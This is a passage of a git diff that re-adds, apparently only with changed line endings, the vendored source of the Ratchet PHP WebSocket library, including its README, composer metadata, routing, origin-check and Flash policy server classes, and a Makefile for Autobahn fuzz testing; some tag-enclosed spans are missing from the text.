8001 LibEvent & + ulimit -n 2048 && php tests/autobahn/bin/fuzzingserver.php 8002 StreamSelect & + ulimit -n 2048 && php tests/autobahn/bin/fuzzingserver.php 8004 LibEv & + wstest -m testeeserver -w ws://localhost:8000 & + sleep 1 + wstest -m fuzzingclient -s tests/autobahn/fuzzingclient-all.json + killall php wstest + +abtest: + ulimit -n 2048 && php tests/autobahn/bin/fuzzingserver.php 8000 StreamSelect & + sleep 1 + wstest -m fuzzingclient -s tests/autobahn/fuzzingclient-quick.json + killall php + +profile: + php -d 'xdebug.profiler_enable=1' tests/autobahn/bin/fuzzingserver.php 8000 LibEvent & + sleep 1 + wstest -m fuzzingclient -s tests/autobahn/fuzzingclient-profile.json + killall php + +apidocs: + apigen --title Ratchet -d reports/api \ + -s src/ \ + -s vendor/ratchet/rfc6455/src \ + -s vendor/react/event-loop/src \ + -s vendor/react/socket/src \ + -s vendor/react/stream/src \ + -s vendor/psr/http-message/src \ + -s vendor/symfony/http-foundation/Session \ + -s vendor/symfony/routing \ + -s vendor/evenement/evenement/src/Evenement \ + --exclude=vendor/symfony/routing/Tests \ diff --git a/vendor/cboden/ratchet/README.md b/vendor/cboden/ratchet/README.md index f041149db1..f7118f4ce8 100644 --- a/vendor/cboden/ratchet/README.md +++ b/vendor/cboden/ratchet/README.md @@ -1,83 +1,83 @@ -# Ratchet - -[![Build Status](https://secure.travis-ci.org/ratchetphp/Ratchet.png?branch=master)](http://travis-ci.org/ratchetphp/Ratchet) -[![Autobahn Testsuite](https://img.shields.io/badge/Autobahn-passing-brightgreen.svg)](http://socketo.me/reports/ab/index.html) -[![Latest Stable Version](https://poser.pugx.org/cboden/ratchet/v/stable.png)](https://packagist.org/packages/cboden/ratchet) - -A PHP library for asynchronously serving WebSockets. -Build up your application through simple interfaces and re-use your application without changing any of its code just by combining different components. - -## Requirements - -Shell access is required and root access is recommended. -To avoid proxy/firewall blockage it's recommended WebSockets are requested on port 80 or 443 (SSL), which requires root access. -In order to do this, along with your sync web stack, you can either use a reverse proxy or two separate machines. -You can find more details in the [server conf docs](http://socketo.me/docs/deploy#server_configuration). - -### Documentation - -User and API documentation is available on Ratchet's website: http://socketo.me - -See https://github.com/cboden/Ratchet-examples for some out-of-the-box working demos using Ratchet. - -Need help? Have a question? Want to provide feedback? Write a message on the [Google Groups Mailing List](https://groups.google.com/forum/#!forum/ratchet-php). - ---- - -### A quick example - -```php -clients = new \SplObjectStorage; - } - - public function onOpen(ConnectionInterface $conn) { - $this->clients->attach($conn); - } - - public function onMessage(ConnectionInterface $from, $msg) { - foreach ($this->clients as $client) { - if ($from != $client) { - $client->send($msg); - } - } - } - - public function onClose(ConnectionInterface $conn) { - $this->clients->detach($conn); - } - - public function onError(ConnectionInterface $conn, \Exception $e) { - $conn->close(); - } -} - - // Run the server application through the WebSocket protocol on port 8080 - $app = new Ratchet\App('localhost', 8080); - $app->route('/chat', new MyChat, array('*')); - $app->route('/echo', new Ratchet\Server\EchoServer, array('*')); - $app->run(); -``` - - $ php chat.php - -```javascript - // Then some JavaScript in the browser: - var conn = new WebSocket('ws://localhost:8080/echo'); - conn.onmessage = function(e) { console.log(e.data); }; - conn.onopen = function(e) { conn.send('Hello Me!'); }; -``` +# Ratchet + +[![Build Status](https://secure.travis-ci.org/ratchetphp/Ratchet.png?branch=master)](http://travis-ci.org/ratchetphp/Ratchet) +[![Autobahn Testsuite](https://img.shields.io/badge/Autobahn-passing-brightgreen.svg)](http://socketo.me/reports/ab/index.html) +[![Latest Stable Version](https://poser.pugx.org/cboden/ratchet/v/stable.png)](https://packagist.org/packages/cboden/ratchet) + +A PHP library for asynchronously serving WebSockets. +Build up your application through simple interfaces and re-use your application without changing any of its code just by combining different components. + +## Requirements + +Shell access is required and root access is recommended. +To avoid proxy/firewall blockage it's recommended WebSockets are requested on port 80 or 443 (SSL), which requires root access. +In order to do this, along with your sync web stack, you can either use a reverse proxy or two separate machines. +You can find more details in the [server conf docs](http://socketo.me/docs/deploy#server_configuration). + +### Documentation + +User and API documentation is available on Ratchet's website: http://socketo.me + +See https://github.com/cboden/Ratchet-examples for some out-of-the-box working demos using Ratchet. + +Need help? Have a question? Want to provide feedback? Write a message on the [Google Groups Mailing List](https://groups.google.com/forum/#!forum/ratchet-php). + +--- + +### A quick example + +```php +clients = new \SplObjectStorage; + } + + public function onOpen(ConnectionInterface $conn) { + $this->clients->attach($conn); + } + + public function onMessage(ConnectionInterface $from, $msg) { + foreach ($this->clients as $client) { + if ($from != $client) { + $client->send($msg); + } + } + } + + public function onClose(ConnectionInterface $conn) { + $this->clients->detach($conn); + } + + public function onError(ConnectionInterface $conn, \Exception $e) { + $conn->close(); + } +} + + // Run the server application through the WebSocket protocol on port 8080 + $app = new Ratchet\App('localhost', 8080); + $app->route('/chat', new MyChat, array('*')); + $app->route('/echo', new Ratchet\Server\EchoServer, array('*')); + $app->run(); +``` + + $ php chat.php + +```javascript + // Then some JavaScript in the browser: + var conn = new WebSocket('ws://localhost:8080/echo'); + conn.onmessage = function(e) { console.log(e.data); }; + conn.onopen = function(e) { conn.send('Hello Me!'); }; +``` diff --git a/vendor/cboden/ratchet/composer.json b/vendor/cboden/ratchet/composer.json index 0af7021180..d89c66ea0e 100644 --- a/vendor/cboden/ratchet/composer.json +++ b/vendor/cboden/ratchet/composer.json @@ -1,39 +1,39 @@ -{ - "name": "cboden/ratchet" - , "type": "library" - , "description": "PHP WebSocket library" - , "keywords": ["WebSockets", "Server", "Ratchet", "Sockets", "WebSocket"] - , "homepage": "http://socketo.me" - , "license": "MIT" - , "authors": [ - { - "name": "Chris Boden" - , "email": "cboden@gmail.com" - , "role": "Developer" - } - , { - "name": "Matt Bonneau" - , "role": "Developer" - } - ] - , "support": { - "issues": "https://github.com/ratchetphp/Ratchet/issues" - , "chat": "https://gitter.im/reactphp/reactphp" - } - , "autoload": { - "psr-4": { - "Ratchet\\": "src/Ratchet" - } - } - , "require": { - "php": ">=5.4.2" - , "ratchet/rfc6455": "^0.3" - , "react/socket": "^1.0 || ^0.8 || ^0.7 || ^0.6 || ^0.5" - , "guzzlehttp/psr7": "^1.0" - , "symfony/http-foundation": "^2.6|^3.0|^4.0|^5.0" - , "symfony/routing": "^2.6|^3.0|^4.0|^5.0" - } - , "require-dev": { - "phpunit/phpunit": "~4.8" - } -} +{ + "name": "cboden/ratchet" + , "type": "library" + , "description": "PHP WebSocket library" + , "keywords": ["WebSockets", "Server", "Ratchet", "Sockets", "WebSocket"] + , "homepage": "http://socketo.me" + , "license": "MIT" + , "authors": [ + { + "name": "Chris Boden" + , "email": "cboden@gmail.com" + , "role": "Developer" + } + , { + "name": "Matt Bonneau" + , "role": "Developer" + } + ] + , "support": { + "issues": "https://github.com/ratchetphp/Ratchet/issues" + , "chat": "https://gitter.im/reactphp/reactphp" + } + , "autoload": { + "psr-4": { + "Ratchet\\": "src/Ratchet" + } + } + , "require": { + "php": ">=5.4.2" + , "ratchet/rfc6455": "^0.3" + , "react/socket": "^1.0 || ^0.8 || ^0.7 || ^0.6 || ^0.5" + , "guzzlehttp/psr7": "^1.0" + , "symfony/http-foundation": "^2.6|^3.0|^4.0|^5.0" + , "symfony/routing": "^2.6|^3.0|^4.0|^5.0" + } + , "require-dev": { + "phpunit/phpunit": "~4.8" + } +} diff --git a/vendor/cboden/ratchet/phpunit.xml.dist b/vendor/cboden/ratchet/phpunit.xml.dist index c0ee7fc289..0cc5451bf2 100644 --- a/vendor/cboden/ratchet/phpunit.xml.dist +++ b/vendor/cboden/ratchet/phpunit.xml.dist @@ -1,30 +1,30 @@ - - - - - - ./tests/unit/ - - - - - - ./tests/integration/ - - - - - - ./src/ - - + + + + + + ./tests/unit/ + + + + + + ./tests/integration/ + + + + + + ./src/ + + \ No newline at end of file diff --git a/vendor/cboden/ratchet/src/Ratchet/AbstractConnectionDecorator.php b/vendor/cboden/ratchet/src/Ratchet/AbstractConnectionDecorator.php index ac26f33a04..97079511f7 100644 --- a/vendor/cboden/ratchet/src/Ratchet/AbstractConnectionDecorator.php +++ b/vendor/cboden/ratchet/src/Ratchet/AbstractConnectionDecorator.php @@ -1,41 +1,41 @@ -wrappedConn = $conn; - } - - /** - * @return ConnectionInterface - */ - protected function getConnection() { - return $this->wrappedConn; - } - - public function __set($name, $value) { - $this->wrappedConn->$name = $value; - } - - public function __get($name) { - return $this->wrappedConn->$name; - } - - public function __isset($name) { - return isset($this->wrappedConn->$name); - } - - public function __unset($name) { - unset($this->wrappedConn->$name); - } -} +wrappedConn = $conn; + } + + /** + * @return ConnectionInterface + */ + protected function getConnection() { + return $this->wrappedConn; + } + + public function __set($name, $value) { + $this->wrappedConn->$name = $value; + } + + public function __get($name) { + return $this->wrappedConn->$name; + } + + public function __isset($name) { + return isset($this->wrappedConn->$name); + } + + public function __unset($name) { + unset($this->wrappedConn->$name); + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/App.php b/vendor/cboden/ratchet/src/Ratchet/App.php index 3a62adfa87..f1cd4ddb8a 100644 --- a/vendor/cboden/ratchet/src/Ratchet/App.php +++ b/vendor/cboden/ratchet/src/Ratchet/App.php @@ -1,146 +1,146 @@ -httpHost = $httpHost; - $this->port = $port; - - $socket = new Reactor($address . ':' . $port, $loop); - - $this->routes = new RouteCollection; - $this->_server = new IoServer(new HttpServer(new Router(new UrlMatcher($this->routes, new RequestContext))), $socket, $loop); - - $policy = new FlashPolicy; - $policy->addAllowedAccess($httpHost, 80); - $policy->addAllowedAccess($httpHost, $port); - - if (80 == $port) { - $flashUri = '0.0.0.0:843'; - } else { - $flashUri = 8843; - } - $flashSock = new Reactor($flashUri, $loop); - $this->flashServer = new IoServer($policy, $flashSock); - } - - /** - * Add an endpoint/application to the server - * @param string $path The URI the client will connect to - * @param ComponentInterface $controller Your application to server for the route. If not specified, assumed to be for a WebSocket - * @param array $allowedOrigins An array of hosts allowed to connect (same host by default), ['*'] for any - * @param string $httpHost Override the $httpHost variable provided in the __construct - * @return ComponentInterface|WsServer - */ - public function route($path, ComponentInterface $controller, array $allowedOrigins = array(), $httpHost = null) { - if ($controller instanceof HttpServerInterface || $controller instanceof WsServer) { - $decorated = $controller; - } elseif ($controller instanceof WampServerInterface) { - $decorated = new WsServer(new WampServer($controller)); - $decorated->enableKeepAlive($this->_server->loop); - } elseif ($controller instanceof MessageComponentInterface || $controller instanceof WsMessageComponentInterface) { - $decorated = new WsServer($controller); - $decorated->enableKeepAlive($this->_server->loop); - } else { - $decorated = $controller; - } - - if ($httpHost === null) { - $httpHost = $this->httpHost; - } - - $allowedOrigins = array_values($allowedOrigins); - if (0 === count($allowedOrigins)) { - $allowedOrigins[] = $httpHost; - } - if ('*' !== $allowedOrigins[0]) { - $decorated = new OriginCheck($decorated, $allowedOrigins); - } - - //allow origins in flash policy server - if(empty($this->flashServer) === false) { - foreach($allowedOrigins as $allowedOrgin) { - $this->flashServer->app->addAllowedAccess($allowedOrgin, $this->port); - } - } - - $this->routes->add('rr-' . ++$this->_routeCounter, new Route($path, array('_controller' => $decorated), array('Origin' => $this->httpHost), array(), $httpHost, array(), array('GET'))); - - return $decorated; - } - - /** - * Run the server by entering the event loop - */ - public function run() { - $this->_server->run(); - } -} +httpHost = $httpHost; + $this->port = $port; + + $socket = new Reactor($address . ':' . $port, $loop); + + $this->routes = new RouteCollection; + $this->_server = new IoServer(new HttpServer(new Router(new UrlMatcher($this->routes, new RequestContext))), $socket, $loop); + + $policy = new FlashPolicy; + $policy->addAllowedAccess($httpHost, 80); + $policy->addAllowedAccess($httpHost, $port); + + if (80 == $port) { + $flashUri = '0.0.0.0:843'; + } else { + $flashUri = 8843; + } + $flashSock = new Reactor($flashUri, $loop); + $this->flashServer = new IoServer($policy, $flashSock); + } + + /** + * Add an endpoint/application to the server + * @param string $path The URI the client will connect to + * @param ComponentInterface $controller Your application to server for the route. If not specified, assumed to be for a WebSocket + * @param array $allowedOrigins An array of hosts allowed to connect (same host by default), ['*'] for any + * @param string $httpHost Override the $httpHost variable provided in the __construct + * @return ComponentInterface|WsServer + */ + public function route($path, ComponentInterface $controller, array $allowedOrigins = array(), $httpHost = null) { + if ($controller instanceof HttpServerInterface || $controller instanceof WsServer) { + $decorated = $controller; + } elseif ($controller instanceof WampServerInterface) { + $decorated = new WsServer(new WampServer($controller)); + $decorated->enableKeepAlive($this->_server->loop); + } elseif ($controller instanceof MessageComponentInterface || $controller instanceof WsMessageComponentInterface) { + $decorated = new WsServer($controller); + $decorated->enableKeepAlive($this->_server->loop); + } else { + $decorated = $controller; + } + + if ($httpHost === null) { + $httpHost = $this->httpHost; + } + + $allowedOrigins = array_values($allowedOrigins); + if (0 === count($allowedOrigins)) { + $allowedOrigins[] = $httpHost; + } + if ('*' !== $allowedOrigins[0]) { + $decorated = new OriginCheck($decorated, $allowedOrigins); + } + + //allow origins in flash policy server + if(empty($this->flashServer) === false) { + foreach($allowedOrigins as $allowedOrgin) { + $this->flashServer->app->addAllowedAccess($allowedOrgin, $this->port); + } + } + + $this->routes->add('rr-' . ++$this->_routeCounter, new Route($path, array('_controller' => $decorated), array('Origin' => $this->httpHost), array(), $httpHost, array(), array('GET'))); + + return $decorated; + } + + /** + * Run the server by entering the event loop + */ + public function run() { + $this->_server->run(); + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Http/HttpServer.php b/vendor/cboden/ratchet/src/Ratchet/Http/HttpServer.php index e20253e6ba..bbd8d5321a 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Http/HttpServer.php +++ b/vendor/cboden/ratchet/src/Ratchet/Http/HttpServer.php @@ -1,76 +1,76 @@ -_httpServer = $component; - $this->_reqParser = new HttpRequestParser; - } - - /** - * {@inheritdoc} - */ - public function onOpen(ConnectionInterface $conn) { - $conn->httpHeadersReceived = false; - } - - /** - * {@inheritdoc} - */ - public function onMessage(ConnectionInterface $from, $msg) { - if (true !== $from->httpHeadersReceived) { - try { - if (null === ($request = $this->_reqParser->onMessage($from, $msg))) { - return; - } - } catch (\OverflowException $oe) { - return $this->close($from, 413); - } - - $from->httpHeadersReceived = true; - - return $this->_httpServer->onOpen($from, $request); - } - - $this->_httpServer->onMessage($from, $msg); - } - - /** - * {@inheritdoc} - */ - public function onClose(ConnectionInterface $conn) { - if ($conn->httpHeadersReceived) { - $this->_httpServer->onClose($conn); - } - } - - /** - * {@inheritdoc} - */ - public function onError(ConnectionInterface $conn, \Exception $e) { - if ($conn->httpHeadersReceived) { - $this->_httpServer->onError($conn, $e); - } else { - $this->close($conn, 500); - } - } -} +_httpServer = $component; + $this->_reqParser = new HttpRequestParser; + } + + /** + * {@inheritdoc} + */ + public function onOpen(ConnectionInterface $conn) { + $conn->httpHeadersReceived = false; + } + + /** + * {@inheritdoc} + */ + public function onMessage(ConnectionInterface $from, $msg) { + if (true !== $from->httpHeadersReceived) { + try { + if (null === ($request = $this->_reqParser->onMessage($from, $msg))) { + return; + } + } catch (\OverflowException $oe) { + return $this->close($from, 413); + } + + $from->httpHeadersReceived = true; + + return $this->_httpServer->onOpen($from, $request); + } + + $this->_httpServer->onMessage($from, $msg); + } + + /** + * {@inheritdoc} + */ + public function onClose(ConnectionInterface $conn) { + if ($conn->httpHeadersReceived) { + $this->_httpServer->onClose($conn); + } + } + + /** + * {@inheritdoc} + */ + public function onError(ConnectionInterface $conn, \Exception $e) { + if ($conn->httpHeadersReceived) { + $this->_httpServer->onError($conn, $e); + } else { + $this->close($conn, 500); + } + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Http/HttpServerInterface.php b/vendor/cboden/ratchet/src/Ratchet/Http/HttpServerInterface.php index 844fd70785..2c37c490a7 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Http/HttpServerInterface.php +++ b/vendor/cboden/ratchet/src/Ratchet/Http/HttpServerInterface.php @@ -1,14 +1,14 @@ -_component = $component; - $this->allowedOrigins += $allowed; - } - - /** - * {@inheritdoc} - */ - public function onOpen(ConnectionInterface $conn, RequestInterface $request = null) { - $header = (string)$request->getHeader('Origin')[0]; - $origin = parse_url($header, PHP_URL_HOST) ?: $header; - - if (!in_array($origin, $this->allowedOrigins)) { - return $this->close($conn, 403); - } - - return $this->_component->onOpen($conn, $request); - } - - /** - * {@inheritdoc} - */ - function onMessage(ConnectionInterface $from, $msg) { - return $this->_component->onMessage($from, $msg); - } - - /** - * {@inheritdoc} - */ - function onClose(ConnectionInterface $conn) { - return $this->_component->onClose($conn); - } - - /** - * {@inheritdoc} - */ - function onError(ConnectionInterface $conn, \Exception $e) { - return $this->_component->onError($conn, $e); - } +_component = $component; + $this->allowedOrigins += $allowed; + } + + /** + * {@inheritdoc} + */ + public function onOpen(ConnectionInterface $conn, RequestInterface $request = null) { + $header = (string)$request->getHeader('Origin')[0]; + $origin = parse_url($header, PHP_URL_HOST) ?: $header; + + if (!in_array($origin, $this->allowedOrigins)) { + return $this->close($conn, 403); + } + + return $this->_component->onOpen($conn, $request); + } + + /** + * {@inheritdoc} + */ + function onMessage(ConnectionInterface $from, $msg) { + return $this->_component->onMessage($from, $msg); + } + + /** + * {@inheritdoc} + */ + function onClose(ConnectionInterface $conn) { + return $this->_component->onClose($conn); + } + + /** + * {@inheritdoc} + */ + function onError(ConnectionInterface $conn, \Exception $e) { + return $this->_component->onError($conn, $e); + } } \ No newline at end of file diff --git a/vendor/cboden/ratchet/src/Ratchet/Http/Router.php b/vendor/cboden/ratchet/src/Ratchet/Http/Router.php index 847e63cf97..df7fe82612 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Http/Router.php +++ b/vendor/cboden/ratchet/src/Ratchet/Http/Router.php @@ -1,96 +1,96 @@ -_matcher = $matcher; - $this->_noopController = new NoOpHttpServerController; - } - - /** - * {@inheritdoc} - * @throws \UnexpectedValueException If a controller is not \Ratchet\Http\HttpServerInterface - */ - public function onOpen(ConnectionInterface $conn, RequestInterface $request = null) { - if (null === $request) { - throw new \UnexpectedValueException('$request can not be null'); - } - - $conn->controller = $this->_noopController; - - $uri = $request->getUri(); - - $context = $this->_matcher->getContext(); - $context->setMethod($request->getMethod()); - $context->setHost($uri->getHost()); - - try { - $route = $this->_matcher->match($uri->getPath()); - } catch (MethodNotAllowedException $nae) { - return $this->close($conn, 405, array('Allow' => $nae->getAllowedMethods())); - } catch (ResourceNotFoundException $nfe) { - return $this->close($conn, 404); - } - - if (is_string($route['_controller']) && class_exists($route['_controller'])) { - $route['_controller'] = new $route['_controller']; - } - - if (!($route['_controller'] instanceof HttpServerInterface)) { - throw new \UnexpectedValueException('All routes must implement Ratchet\Http\HttpServerInterface'); - } - - $parameters = []; - foreach($route as $key => $value) { - if ((is_string($key)) && ('_' !== substr($key, 0, 1))) { - $parameters[$key] = $value; - } - } - $parameters = array_merge($parameters, gPsr\parse_query($uri->getQuery() ?: '')); - - $request = $request->withUri($uri->withQuery(gPsr\build_query($parameters))); - - $conn->controller = $route['_controller']; - $conn->controller->onOpen($conn, $request); - } - - /** - * {@inheritdoc} - */ - public function onMessage(ConnectionInterface $from, $msg) { - $from->controller->onMessage($from, $msg); - } - - /** - * {@inheritdoc} - */ - public function onClose(ConnectionInterface $conn) { - if (isset($conn->controller)) { - $conn->controller->onClose($conn); - } - } - - /** - * {@inheritdoc} - */ - public function onError(ConnectionInterface $conn, \Exception $e) { - if (isset($conn->controller)) { - $conn->controller->onError($conn, $e); - } - } -} +_matcher = $matcher; + $this->_noopController = new NoOpHttpServerController; + } + + /** + * {@inheritdoc} + * @throws \UnexpectedValueException If a controller is not \Ratchet\Http\HttpServerInterface + */ + public function onOpen(ConnectionInterface $conn, RequestInterface $request = null) { + if (null === $request) { + throw new \UnexpectedValueException('$request can not be null'); + } + + $conn->controller = $this->_noopController; + + $uri = $request->getUri(); + + $context = $this->_matcher->getContext(); + $context->setMethod($request->getMethod()); + $context->setHost($uri->getHost()); + + try { + $route = $this->_matcher->match($uri->getPath()); + } catch (MethodNotAllowedException $nae) { + return $this->close($conn, 405, array('Allow' => $nae->getAllowedMethods())); + } catch (ResourceNotFoundException $nfe) { + return $this->close($conn, 404); + } + + if (is_string($route['_controller']) && class_exists($route['_controller'])) { + $route['_controller'] = new $route['_controller']; + } + + if (!($route['_controller'] instanceof HttpServerInterface)) { + throw new \UnexpectedValueException('All routes must implement Ratchet\Http\HttpServerInterface'); + } + + $parameters = []; + foreach($route as $key => $value) { + if ((is_string($key)) && ('_' !== substr($key, 0, 1))) { + $parameters[$key] = $value; + } + } + $parameters = array_merge($parameters, gPsr\parse_query($uri->getQuery() ?: '')); + + $request = $request->withUri($uri->withQuery(gPsr\build_query($parameters))); + + $conn->controller = $route['_controller']; + $conn->controller->onOpen($conn, $request); + } + + /** + * {@inheritdoc} + */ + public function onMessage(ConnectionInterface $from, $msg) { + $from->controller->onMessage($from, $msg); + } + + /** + * {@inheritdoc} + */ + public function onClose(ConnectionInterface $conn) { + if (isset($conn->controller)) { + $conn->controller->onClose($conn); + } + } + + /** + * {@inheritdoc} + */ + public function onError(ConnectionInterface $conn, \Exception $e) { + if (isset($conn->controller)) { + $conn->controller->onError($conn, $e); + } + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/MessageComponentInterface.php b/vendor/cboden/ratchet/src/Ratchet/MessageComponentInterface.php index 99df8e4320..b4a92e2e0b 100644 --- a/vendor/cboden/ratchet/src/Ratchet/MessageComponentInterface.php +++ b/vendor/cboden/ratchet/src/Ratchet/MessageComponentInterface.php @@ -1,5 +1,5 @@ -send($msg); - } - - public function onClose(ConnectionInterface $conn) { - } - - public function onError(ConnectionInterface $conn, \Exception $e) { - $conn->close(); - } -} +send($msg); + } + + public function onClose(ConnectionInterface $conn) { + } + + public function onError(ConnectionInterface $conn, \Exception $e) { + $conn->close(); + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Server/FlashPolicy.php b/vendor/cboden/ratchet/src/Ratchet/Server/FlashPolicy.php index abd14bae66..4a1b8bdf24 100644 --- a/vendor/cboden/ratchet/src/Ratchet/Server/FlashPolicy.php +++ b/vendor/cboden/ratchet/src/Ratchet/Server/FlashPolicy.php @@ -1,200 +1,200 @@ -'; - - /** - * Stores an array of allowed domains and their ports - * @var array - */ - protected $_access = array(); - - /** - * @var string - */ - protected $_siteControl = ''; - - /** - * @var string - */ - protected $_cache = ''; - - /** - * @var string - */ - protected $_cacheValid = false; - - /** - * Add a domain to an allowed access list. - * - * @param string $domain Specifies a requesting domain to be granted access. Both named domains and IP - * addresses are acceptable values. Subdomains are considered different domains. A wildcard (*) can - * be used to match all domains when used alone, or multiple domains (subdomains) when used as a - * prefix for an explicit, second-level domain name separated with a dot (.) - * @param string $ports A comma-separated list of ports or range of ports that a socket connection - * is allowed to connect to. A range of ports is specified through a dash (-) between two port numbers. - * Ranges can be used with individual ports when separated with a comma. A single wildcard (*) can - * be used to allow all ports. - * @param bool $secure - * @throws \UnexpectedValueException - * @return FlashPolicy - */ - public function addAllowedAccess($domain, $ports = '*', $secure = false) { - if (!$this->validateDomain($domain)) { - throw new \UnexpectedValueException('Invalid domain'); - } - - if (!$this->validatePorts($ports)) { - throw new \UnexpectedValueException('Invalid Port'); - } - - $this->_access[] = array($domain, $ports, (boolean)$secure); - $this->_cacheValid = false; - - return $this; - } - - /** - * Removes all domains from the allowed access list. - * - * @return \Ratchet\Server\FlashPolicy - */ - public function clearAllowedAccess() { - $this->_access = array(); - $this->_cacheValid = false; - - return $this; - } - - /** - * site-control defines the meta-policy for the current domain. A meta-policy specifies acceptable - * domain policy files other than the master policy file located in the target domain's root and named - * crossdomain.xml. - * - * @param string $permittedCrossDomainPolicies - * @throws \UnexpectedValueException - * @return FlashPolicy - */ - public function setSiteControl($permittedCrossDomainPolicies = 'all') { - if (!$this->validateSiteControl($permittedCrossDomainPolicies)) { - throw new \UnexpectedValueException('Invalid site control set'); - } - - $this->_siteControl = $permittedCrossDomainPolicies; - $this->_cacheValid = false; - - return $this; - } - - /** - * {@inheritdoc} - */ - public function onOpen(ConnectionInterface $conn) { - } - - /** - * {@inheritdoc} - */ - public function onMessage(ConnectionInterface $from, $msg) { - if (!$this->_cacheValid) { - $this->_cache = $this->renderPolicy()->asXML(); - $this->_cacheValid = true; - } - - $from->send($this->_cache . "\0"); - $from->close(); - } - - /** - * {@inheritdoc} - */ - public function onClose(ConnectionInterface $conn) { - } - - /** - * {@inheritdoc} - */ - public function onError(ConnectionInterface $conn, \Exception $e) { - $conn->close(); - } - - /** - * Builds the crossdomain file based on the template policy - * - * @throws \UnexpectedValueException - * @return \SimpleXMLElement - */ - public function renderPolicy() { - $policy = new \SimpleXMLElement($this->_policy); - - $siteControl = $policy->addChild('site-control'); - - if ($this->_siteControl == '') { - $this->setSiteControl(); - } - - $siteControl->addAttribute('permitted-cross-domain-policies', $this->_siteControl); - - if (empty($this->_access)) { - throw new \UnexpectedValueException('You must add a domain through addAllowedAccess()'); - } - - foreach ($this->_access as $access) { - $tmp = $policy->addChild('allow-access-from'); - $tmp->addAttribute('domain', $access[0]); - $tmp->addAttribute('to-ports', $access[1]); - $tmp->addAttribute('secure', ($access[2] === true) ? 'true' : 'false'); - } - - return $policy; - } - - /** - * Make sure the proper site control was passed - * - * @param string $permittedCrossDomainPolicies - * @return bool - */ - public function validateSiteControl($permittedCrossDomainPolicies) { - //'by-content-type' and 'by-ftp-filename' are not available for sockets - return (bool)in_array($permittedCrossDomainPolicies, array('none', 'master-only', 'all')); - } - - /** - * Validate for proper domains (wildcards allowed) - * - * @param string $domain - * @return bool - */ - public function validateDomain($domain) { - return (bool)preg_match("/^((http(s)?:\/\/)?([a-z0-9-_]+\.|\*\.)*([a-z0-9-_\.]+)|\*)$/i", $domain); - } - - /** - * Make sure valid ports were passed - * - * @param string $port - * @return bool - */ - public function validatePorts($port) { - return (bool)preg_match('/^(\*|(\d+[,-]?)*\d+)$/', $port); - } -} +'; + + /** + * Stores an array of allowed domains and their ports + * @var array + */ + protected $_access = array(); + + /** + * @var string + */ + protected $_siteControl = ''; + + /** + * @var string + */ + protected $_cache = ''; + + /** + * @var string + */ + protected $_cacheValid = false; + + /** + * Add a domain to an allowed access list. + * + * @param string $domain Specifies a requesting domain to be granted access. Both named domains and IP + * addresses are acceptable values. Subdomains are considered different domains. A wildcard (*) can + * be used to match all domains when used alone, or multiple domains (subdomains) when used as a + * prefix for an explicit, second-level domain name separated with a dot (.) + * @param string $ports A comma-separated list of ports or range of ports that a socket connection + * is allowed to connect to. A range of ports is specified through a dash (-) between two port numbers. + * Ranges can be used with individual ports when separated with a comma. A single wildcard (*) can + * be used to allow all ports. + * @param bool $secure + * @throws \UnexpectedValueException + * @return FlashPolicy + */ + public function addAllowedAccess($domain, $ports = '*', $secure = false) { + if (!$this->validateDomain($domain)) { + throw new \UnexpectedValueException('Invalid domain'); + } + + if (!$this->validatePorts($ports)) { + throw new \UnexpectedValueException('Invalid Port'); + } + + $this->_access[] = array($domain, $ports, (boolean)$secure); + $this->_cacheValid = false; + + return $this; + } + + /** + * Removes all domains from the allowed access list. + * + * @return \Ratchet\Server\FlashPolicy + */ + public function clearAllowedAccess() { + $this->_access = array(); + $this->_cacheValid = false; + + return $this; + } + + /** + * site-control defines the meta-policy for the current domain. A meta-policy specifies acceptable + * domain policy files other than the master policy file located in the target domain's root and named + * crossdomain.xml. + * + * @param string $permittedCrossDomainPolicies + * @throws \UnexpectedValueException + * @return FlashPolicy + */ + public function setSiteControl($permittedCrossDomainPolicies = 'all') { + if (!$this->validateSiteControl($permittedCrossDomainPolicies)) { + throw new \UnexpectedValueException('Invalid site control set'); + } + + $this->_siteControl = $permittedCrossDomainPolicies; + $this->_cacheValid = false; + + return $this; + } + + /** + * {@inheritdoc} + */ + public function onOpen(ConnectionInterface $conn) { + } + + /** + * {@inheritdoc} + */ + public function onMessage(ConnectionInterface $from, $msg) { + if (!$this->_cacheValid) { + $this->_cache = $this->renderPolicy()->asXML(); + $this->_cacheValid = true; + } + + $from->send($this->_cache . "\0"); + $from->close(); + } + + /** + * {@inheritdoc} + */ + public function onClose(ConnectionInterface $conn) { + } + + /** + * {@inheritdoc} + */ + public function onError(ConnectionInterface $conn, \Exception $e) { + $conn->close(); + } + + /** + * Builds the crossdomain file based on the template policy + * + * @throws \UnexpectedValueException + * @return \SimpleXMLElement + */ + public function renderPolicy() { + $policy = new \SimpleXMLElement($this->_policy); + + $siteControl = $policy->addChild('site-control'); + + if ($this->_siteControl == '') { + $this->setSiteControl(); + } + + $siteControl->addAttribute('permitted-cross-domain-policies', $this->_siteControl); + + if (empty($this->_access)) { + throw new \UnexpectedValueException('You must add a domain through addAllowedAccess()'); + } + + foreach ($this->_access as $access) { + $tmp = $policy->addChild('allow-access-from'); + $tmp->addAttribute('domain', $access[0]); + $tmp->addAttribute('to-ports', $access[1]); + $tmp->addAttribute('secure', ($access[2] === true) ? 'true' : 'false'); + } + + return $policy; + } + + /** + * Make sure the proper site control was passed + * + * @param string $permittedCrossDomainPolicies + * @return bool + */ + public function validateSiteControl($permittedCrossDomainPolicies) { + //'by-content-type' and 'by-ftp-filename' are not available for sockets + return (bool)in_array($permittedCrossDomainPolicies, array('none', 'master-only', 'all')); + } + + /** + * Validate for proper domains (wildcards allowed) + * + * @param string $domain + * @return bool + */ + public function validateDomain($domain) { + return (bool)preg_match("/^((http(s)?:\/\/)?([a-z0-9-_]+\.|\*\.)*([a-z0-9-_\.]+)|\*)$/i", $domain); + } + + /** + * Make sure valid ports were passed + * + * @param string $port + * @return bool + */ + public function validatePorts($port) { + return (bool)preg_match('/^(\*|(\d+[,-]?)*\d+)$/', $port); + } +} diff --git a/vendor/cboden/ratchet/src/Ratchet/Server/IoConnection.php b/vendor/cboden/ratchet/src/Ratchet/Server/IoConnection.php index 